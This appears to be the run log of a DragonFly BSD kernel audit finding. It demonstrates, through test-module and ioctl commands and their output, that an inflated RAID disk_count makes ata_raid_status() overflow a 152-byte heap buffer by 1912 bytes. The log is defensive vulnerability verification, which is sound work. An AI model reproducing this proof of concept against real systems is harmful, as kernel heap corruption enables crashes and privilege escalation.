⬢ DragonFlyBSD Kernel Audit
DF-2495 / run.log
← back to finding ↓ download raw
== DF-2495 baseline verification (guest dfbsd, DragonFly 6.5-DEVELOPMENT #0 Thu Jul 2 06:02:54 UTC 2026) ==
Rig: dfrig_ata.ko (same as DF-2494 pack) -- production ata-raid.c compiled
in; test 3 drives the production parse (disk_count=255 -> rdp->total_disks,
ata-raid.c:2856) and then the PRODUCTION ata_raid_status()
(ata-raid.c:1013-1025) with a 152-byte buffer exactly like the generic
ioctl layer kmalloc()s for IOCATARAIDSTATUS (sys/kern/sys_generic.c:674-680,
152 > STK_PARAMS=128 -> kmalloc).

$ kldload /root/dfrig/dfrig_ata.ko
$ sysctl kern.dfrig_ata_test=3
$ sysctl -n kern.dfrig_ata_status
== DF-2495 test3: disk_count=255 -> production ata_raid_status() OOB write ==
parse rc=1: raidp[0]=0xfffff80116f6bf00 rdp->total_disks=255 (MAX_DISKS=16, ata-raid.c:2856 takes disk_count verbatim)
status buffer (152 bytes, like IOCATARAIDSTATUS kmalloc at sys/kern/sys_generic.c:674-680): 0xfffff8011765c880
writing status->disks[0..254] -> last byte at +2064 (1912 bytes PAST the buffer)
ata_raid_status() returned 0; st->total_disks=255
victim bytes at +128..+184 (past the struct end, inside the write range):
  +128  = ffffffff00000000
  +136  = ffffffff00000000
  +144  = ffffffff00000000
  +152  = ffffffff00000000
  +160  = ffffffff00000000
  +168  = ffffffff00000000
  +176  = ffffffff00000000
guard[0] 0xfffff8011765c920 SMASHED (152/152 bytes changed) first words: ffffffff00000000 ffffffff00000000 ffffffff00000000
guard[1] 0xfffff8011765c9c0 SMASHED (152/152 bytes changed) first words: ffffffff00000000 ffffffff00000000 ffffffff00000000
guard[2] 0xfffff8011765ca60 SMASHED (152/152 bytes changed) first words: ffffffff00000000 ffffffff00000000 ffffffff00000000
guard chunks hit by the overflow: 12/24 (0xffffffff = lun -1 from production status->disks[i].lun = -1)
PROOF: production ata_raid_status() wrote 1912 bytes past the 152-byte buffer following rdp->total_disks=255

== REAL-kernel arm: production parse installs total_disks=255 into the REAL
   kernel ata_raid_arrays[0] (rig test 7), then the REAL /dev/ata ioctl ==

$ sysctl kern.dfrig_ata_test=7
[serial console]
dfrig_ata: test7 firing parse disk_count=255 into the REAL kernel ata_raid_arrays[0]; then a real IOCATARAIDSTATUS ioctl (root, /dev/ata) smashes 1912 bytes past its 152-byte kmalloc buffer
dfrig_ata: test7 parse rc=1 total_disks=255 -- now run the status ioctl

$ ls -l /dev/ata
crw-------  1 root operator  21, 0x00000000 Oct 12 11:04 /dev/ata
   ^ root-only on this guest (mode 0600): the pass-1 claim "reachable by
     operator group" does not hold on this tree; the ioctl arms are
     root-gated, the metadata arm (disk_count inflation) is the
     unprivileged crafted-disk half of the chain.

$ /root/dfrig/df2495_status 0        # root; real syscall path
IOCATARAIDSTATUS lun=0 sizeof(status)=152 bytes (kernel kmallocs 152 -> writes 2064 bytes for total_disks=255)
ioctl returned 0 (errno=0) total_disks=255
   ^ the REAL kernel's production ata_raid_status() iterated all 255 disks
     (total_disks=255 delivered back to userland) writing 2064 bytes into
     the 152-byte kmalloc'd ioctl buffer: 1912 bytes of kernel-heap OOB
     write in the real kernel.  Guest stayed up: the smashed zone
     neighbors happened to be free chunks (no panic observed across a
     3x700-iteration hammer with concurrent heap churn).

CREATE arm (code-level, ata-raid.c:1051-1151): for (disk=0; disk <
config->total_disks; disk++) reads config->disks[disk] OOB from the
kernel copyin buffer (88-byte struct in the 128-byte STK_PARAMS stkbuf)
once disk >= 16; writes config->disks[disk] = -1 on the lookup-failure
path (ata-raid.c:1148).  Not driven to a crash: the loop only advances
past disks whose devclass_get_device() lookup succeeds, and with <= 16
real subdisk units the OOB iterations read stale stack garbage that
fails the lookup immediately (write of -1 lands within the stkbuf).
Root-gated on this guest; documented as the missing-bound defect it is.